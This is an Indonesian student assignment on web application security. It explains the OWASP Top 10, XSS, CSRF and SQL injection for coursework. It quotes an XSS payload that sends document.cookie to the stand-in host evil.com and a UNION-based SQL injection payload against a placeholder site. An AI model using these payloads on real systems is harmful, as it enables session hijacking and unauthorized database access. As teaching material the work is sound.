Uploaded by Nabilahthahirah26

keamanan jaringan komputer

advertisement
##### Web Apps Vuln
1. Apakah yang dimaksud dengan celah pada aplikasi web (Web
Apps Vulnerable)?
Jawab :
Keberadaan aplikasi yang memiliki tingkat keamanan rendah dapat memiliki
celah pada aplikasi web yang dapat membahayakan banyak hal penting. Misalnya,
data finansial, layanan kesehatan, pertahanan, energi, bahkan infrastruktur krusial.
Apalagi, saat ini infrastruktur digital semakin kompleks dan semakin terhubung,
menjadikan keamanan aplikasi berbasis web sebagai perhatian utama. Tujuan proyek
OWASP Top10 adalah meningkatkan kesadaran tentang keamanan aplikasi dengan
mengidentifikasi beberapa risiko kritikal yang dihadapi organisasi, dan untuk
mendidik pengembang, desainer, arsitek, manajer, dan organisasi tentang konsekuensi
kelemahan keamanan aplikasi web yang paling penting. Jadi, celah pada aplikasi
web ialah memanfaatkan kelemahan keamanan aplikasi web bagi attacker yang dapat
menyebabkan resiko resiko pada aplikasi web yang dilakukan ekplotasi attacker.
Referensi :
https://www.owasp.org/images/b/b0/OWASP_Top_10_-_2010_FINAL_Indonesia_v1.0.1.pdf
2. Jelaskan beberapa exploitasi yang dapat terjadi pada Web
Apps!
Jawab :
1. Injection.
Dalam praktik penggunaan SQL, OS, dan LDAP, injeksi adalah hal yang sangat
riskan untuk terjadi. Injeksi biasanya dilakukan dengan memasukkan data yang
tidak terpercaya ke dalam interpreter sebagai bagian dari command atau query.
Data yang dimasukkan oleh injektor dapat menipu interpreter untuk mengeksekusi
perintah tertentu atau mengakses data rahasia tanpa izin.
2. Broken Authentication and Session Management.
Fungsi pada aplikasi berbasis web yang berkaitan dengan autentifikasi dan
manajemen sesi seringkali tidak terimplementasikan dengan baik. Apabila hal ini
terjadi di level parah, penyerang sistem akan dengan mudah mencuri dan
memanfaatkan password serta data pribadi lainnya yang akan merugikan
pengguna.
3. Cross-Site Scripting (XSS).
Kelemahan dalam XSS terjadi ketika sebuah aplikasi mengakses data yang tidak
terpercaya dan mengirimkannya lewat web tanpa ada konfirmasi validasi
sebagaimana mestinya. Kejadian XSS akan memberikan keleluasaan bagi
penyerang sistem untuk menggunakan script dari browser guna mengakses web
tanpa izin. Misalnya mengarahkan ke website palsu atau bahkan melakukan
redirect ke situs berbahaya.
4. Insecure Direct Object References.
Objek langsung di sini berkaitan ketika developer mengekspos referensi ke dalam
implementasi objek internal. Misalnya ke file, direktori, atau database key. Tanpa
memiliki accsess control check dan perlindungan lain, penyerang dapat
memanipulasi referensi ini untuk mengakses data rahasia.
5. Security Misconfiguration.
Selama ini, sistem keamanan yang bagus membutuhkan konfigurasi yang terjamin
guna mengakses aplikasi, framework, web server, aplikasi server, database server,
hingga platform. Sebab, setingan default seringkali tidak aman. Selain itu,
pembaruan rutin terhadap software pun menjadi sebuah keharusan.
6. Sensitive Data Exposure.
Banyak aplikasi berbasis web yang belum melindungi data sensitif secara layak.
Misalnya data kartu kredit hingga data autentifikasi. Penyerang sistem sangat
mungkin mencuri atau memodifikasi data bersistem pengamanan lemah tersebut
untuk melakukan tindakan penipuan, pencurian identitas, atau kriminalitas lain.
7. Missing Function Level Access Control.
Mayoritas aplikasi berbasis web akan memverifikasi fungsi akses sebelum
membuat fungsi tersebut ada di user interface. Faktanya, aplikasi juga perlu
melakukan kontrol akses yang sama ke server tiap kali fungsi itu dijalankan.
Apabila permintaan tidak terverifikasi, maka penyerang bisa dengan mudah
mengakses fungsi privat tanpa izin.
8. Cross-Site Request Forgery (CSRF).
Cara kerja CSRF adalah dengan memaksa masuk ke browser pengguna yang
kemudian mengirimkan permintaan HTTP, termasuk cookies, serta berbagai
informasi rahasia yang tersimpan di browser, ke aplikasi web gadungan. Hal ini
akan membuat pengguna seolah-olah mengakses aplikasi tersebut secara
langsung, padahal tidak.
9. Using Known Vulnerable Components.
Komponen dasar seperti database, famework, dan berbagai modul software
kebanyakan dijalankan dengan hak penuh. Apabila komponen yang riskan
dieksploitasi, bisa menyebabkan kehilangan data dan pengambil-alihan server.
10. Unvalidated Redirects and Forwards.
Aplikasi berbasis web yang digunakan user seringkali melakukan redirect dan
forward ke halaman lain atau bahkan website lain. Tindakan semacam ini, tanpa
validasi yang benar, dapat mengarahkan user ke laman phishing, malware,
maupun menggunakannya untuk mengakses laman berbahaya lain.
11. Brute-force Attack.
Brute-force attack merupakan sebuah teknik serangan terhadap sebuah sistem
keamanan
komputer
dengan melakukan
percobaan
terhadap semua
kemungkinan kunci. Pendekatan ini pada awalnya merujuk pada sebuah
program komputer yang mengandalkan kekuatan pemrosesan komputer
dibandingkan kecerdasan manusia. Teknik ini paling banyak digunakan untuk
memecahkan password, kunci, kode atau kombinasi. Cara kerja metode ini
sederhana yaitu mencoba semua kombinasi yang mungkin. Sebuah password
dapat dibongkar dengan menggunakan program yang disebut sebagai
password cracker. Program password cracker adalah program yang mencoba
membuka sebuah password yang telah terenkripsi dengan menggunakan
sebuah algoritma tertentu dengan cara mencoba semua kemungkinan. Teknik
sederhana ini memiliki efektivitas yang luar biasa, dan tidak ada satu pun
sistem yang aman dari serangan ini, meski teknik ini memakan waktu yang
sangat lama, khususnya untuk password yang rumit.
Referensi :
https://www.owasp.org/images/b/b0/OWASP_Top_10_-_2010_FINAL_Indonesia_v1.0.1.pdf
https://blog.gamatechno.com/10-celah-keamanan-aplikasi-berbasis-web/
3. Jelaskan maksud dari pesan HTTP pada paket data di bawah
berikut!
```
GET /test/index.php HTTP/1.1
Host: 35.240.164.125
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64;
rv:70.0) Gecko/20100101 Firefox/70.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,*/*
;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://35.240.164.125/test/login.php
Connection: keep-alive
Cookie: security=low;
PHPSESSID=p00u0h65mngqicaitmrnaimgk0
Upgrade-Insecure-Requests: 1
```
Jawab :
Requerst yang di lakukan metode GET pada HTTP ditujukan untuk
mengambil (get) data dari server utama yang digunakan untuk menerima html,
gambar, JavaScript, CSS, dll. Menuju PATH /test/index.php protokol berisi "HTTP"
dan versi, yang biasanya 1.1 di browser modern. Dengan host yang di akses
35.240.164.125, User-Agent menyediakan informasi pada versi browser dan Sistem
Operasi yang Anda gunakan Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:70.0)
Gecko/20100101 Firefox/70.0. accept untuk menentukan jenis media tertentu yang
dapat diterima untuk respons. Menggunakan bahasa english, ccept-Encoding"
memberitahu server jika browser Anda dapat menerima output terkompresi seperti
gzip, dan di cookie sangat penting, dan data yang sensitif. Cookie hanya menyimpan
data bahwa situs tersebut dapat memeriksa bahwa Anda memiliki dan melihat apakah
Anda pernah ke sana sebelumnya, jika sudah maka cek untuk melihat apakah
pengguna dan kata sandi benar kemudian login Anda.dijelaskan kemanan pada
website ini sangat rendah,.
Referensi
:
https://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html
https://code.tutsplus.com/id/tutorials/http-headers-for-dummies--net-8039
##### XSS
1. Jelaskan apa yang dimaksud dengan XSS attack, sebutkan
ciri - ciri serangannya! Note *tambahan : berikan secara
visual proses serangan tersebut
Jawab :
XSS merupakan kependekan yang digunakan untuk istilah cross site scripting.
XSS merupakan salah satu jenis serangan injeksi code (code injection attack). XSS
dilakukan oleh penyerang dengan cara memasukkan kode HTML atau client script
code lainnya ke suatu situs. Serangan ini akan seolah-olah datang dari situs tersebut.
Akibat serangan ini antara lain penyerang dapat mem-bypass keamanan di sisi klien,
mendapatkan informasi sensitif, atau menyimpan aplikasi berbahaya. XSS metode
menyerang keamanan website dengan menambahkan script pada website website
memalui form. Kalau kita mengisi suatu form kita dapat memasukkan tag script ke
dalam form. Mungkin kalau tag script akan diblok oleh aplikasi, tetapi masih ada tagtag lain yang kita mungkin tidak pikirkan misalnya onload, onclick, windows.location
dan lain-lain.
penyerang mengambil langkah-langkah dengan mengikuti pola tertentu.
1. Langkah Pertama : Penyerang melakukan pengamatan untuk mencari webweb yang memiliki kelemahan Cross Site Scripting.
2. Langkah Kedua : Sang penyerang mencari tahu apakah web tersebut
menerbitkan informasi yang dapat digunakan untuk melakukan pencurian
infomasi lebih lanjut. Informasi tersebut biasanya berupa cookie. Langkah
kedua ini tidak selalu dijalankan.
3. Langkah Ketiga : Sang penyerang membujuk korban untuk mengikuti sebuah
link yang mengandung kode, ditujukan untuk mendapatkan informasi yang
telah disebutkan sebelumnya. Kemampuan Social Engineering dari sang
penyerang diuji disini. Setelah mendapatkan informasi tersebut, sang
penyerang melakukan langkah terakhir, pencurian maupun pengubahan
informasi vital.
Sebuah penyedia layanan message board, A, memiliki kelemahan Cross Site
Scripting. Web tersebut juga menghasilkan cookie. Cookie tersebut bertujuan agar
pengguna dapat membuka jendela browser baru tanpa memasukkan user name dan
password lagi. B, mencoba untuk mengeksploitasi kelemahan ini, meletakkan sebuah
link yang mengandung kode yang “jahat” pada message board tersebut. C, seorang
pengguna, tertarik pada link tersebut menekan link tersebut. Tanpa disadari C, cookie
yang terdapat pada komputernya telah dikirimkan ke komputer B. Kini B dapat
mengakses message board sebagai C hanya dengan menggantikan cookienya dengan
cookie yang ia dapatkan dari C.
Referensi
:
http://menlukmen.blogspot.com/2014/07/xss-pengenalan.html
https://id.wikipedia.org/wiki/XSS
2. Pada serangan XSS atau Cross Site Scripting, terdapat
script yang dapat dilakukan serangan, berikan penjelasan
pada script xss attack injection berikut:
```
<script>alert(document.cookie)</script>
```
```
<script>document.write('<img
src="http://evil.com/?'+document.cookie+'">');</script>
```
Jawab :
document.cookie yaitu sebuah perintah untuk melihat cookie yang digunakan
browser. alert() yaitu petintah untuk menampilkan dialog peringatan dengan sebuah
teks. Cookie adalah data yang sensitif. Cookie hanya menyimpan data bahwa situs
tersebut dapat memeriksa bahwa Anda memiliki dan melihat apakah Anda pernah ke
sana sebelumnya, jika sudah maka cek untuk melihat apakah pengguna dan kata sandi
benar kemudian login Anda. Penyerang dapat mencuri informasi dan
menggunakannya untuk meniru informasi pengguna. Selanjutnya meneruskan cookie
yang diambil dari halaman pengguna yang ditargetkan ke halaman http://evil.com
dalam format gambar yang di luar situs di mana mereka dapat ditulis dan disimpan,
dengan fungsi document.write0 di gunakan untuk menampilkan data langsung saat
halaman web selesai di muat (loaded) atau di eksekusi pada event tertentu misalnya
saat tombol di klik.
##### CSRF & SQL Injection
1. Jelaskan proses kerja dari serangan Cross-Site Request
Forgery (CSRF). Note: *tambahan, berikan secara visual
proses serangan tersebut
Jawab :
Cross-site Request Forgery (CSRF) atau bisa disebut dengan one-click
attack adalah sebuah serangan yang menggunakan injeksi script baik itu berupa kode
javascript, link, atau gambar dengan memanfaatkan token autentikasi. Disebut oneclick attack karena metode ini hanya perlu pemicu dari user dan pemicunya bisa
berupa link yang sudah dimaipulasi untuk mengeksekusi perintah. Nah secara umum
CSRF ini bekerja dengan memanfaatkan token autentikasi korbannya dengan tujuan
melakukan suatu request yang tidak dinginkan oleh korban.
•
•
•
•
Tahap pertama : client dan server akan mengkonfirmasi session id dari suatu
halaman web tertentu.
Tahap kedua : penyerang mengirimkan pesan yang dimana pesan tersebut
seolah-olah adalah pesan konfirmasi dari halaman web contoh.com. Pesan
yang dikirimkan berupa link yang di dalamnya sudah diinjeksi perintah untuk
mengubah password dari suatu akun pada website contoh.com
Setelah pesan tersebut terkirim ke korban, selanjutnya korban melakukan klik
terhadap link karena mengira pesan tersebut memang benar dari website
contoh.com.
Password dari akun korban pun secara otomatis berubah pada halaman web
contoh.com. Ketika korban keluar (logout), maka korban sudah tidak bisa lagi
login dengan password yang sebelumnya karena password tersebut sudah
diubah oleh penyerang.
Referensi :
https://www.kodinggen.com/apa-itu-csrf-bagaimana-cara-kerjanya-dan-tipspencegahannya/
https://pdfs.semanticscholar.org/ca59/ee34e63068b68472a878ecdfb982b00fe7ba.pdf
2. Jelaskan proses serangan pada SQL injection! Note:
*tambahan, berikan secara visual proses serangan tersebut
Jawab :
Structured Query Language (SQL) digunakan untuk melakukan query,
mengoperasikan, dan mengelola sistem database seperti SQL server, Oracle, atau
MySQL. Penggunaan umum SQL konsisten di semua sistem databatase, namun ada
detail perbedaan tertentu yang khusus untuk setiap sistem. SQL Injection adalah
teknik yang menyalahgunakan celah keamanan yang ada pada lapisan basis data
sebuah aplikasi. Celah ini terjadi ketika input dari pengguna tidak disaring secara
benar, contohnya adalah kolom username yang seharusnya hanya diisi dengan huruf
atau angka tapi malah diisi dengan karakter lain (seperti: – = ’) sehingga penyerang
menggunakan celah tersebut dengan cara memasukan query dari SQL. Injection juga
sangat mudah dilakukan karena masih banyak web programmer yang masih kurang
“aware” terhadapnya. SQL injection juga memungkinkan seseorang merubah,
menghapus, maupun menambahkan data–data yang berada didalam database bahkan
pula dapat mematikannya.
Referensi :
https://www.i-3.co.id/2016/12/28/cara-mudah-untuk-mengerti-sql-injection/
3. Pada serangan SQL injection, beberapa payload yang di
lakukan oleh attacker *di bawah. berikan penjelasan
mengenai payload SQL Injection tersebut beserta dengan
SQL query statement:
```
http://websitetarget.com/?id=%27+union+all+select+system_user%28%29%2Cu
ser%28%29+%23&Submit=Submit#
```
```
' union all select system_user(),user() #
Jawab :
SELECT user();
SELECT current_user;
Perintah di atas akan menampilkan nama pengguna basis data yang mengeksekusi
query yang berasal dari skrip cgi. Root menjalankan query ini, yang sangat berbahaya.
Karena anda selalu dapat drop tabel atau bahkan database. Perintah ini juga akan
menggabungkan dua query pemilihan dan itu akan memungkinkan juga
menggandakan nilai dalam hasil, karena kita telah menggunakan union all operator.
Seperti kita dapat melihat pengguna basis data saat ini dan pengguna sistem juga
adalah root@localhost.
Download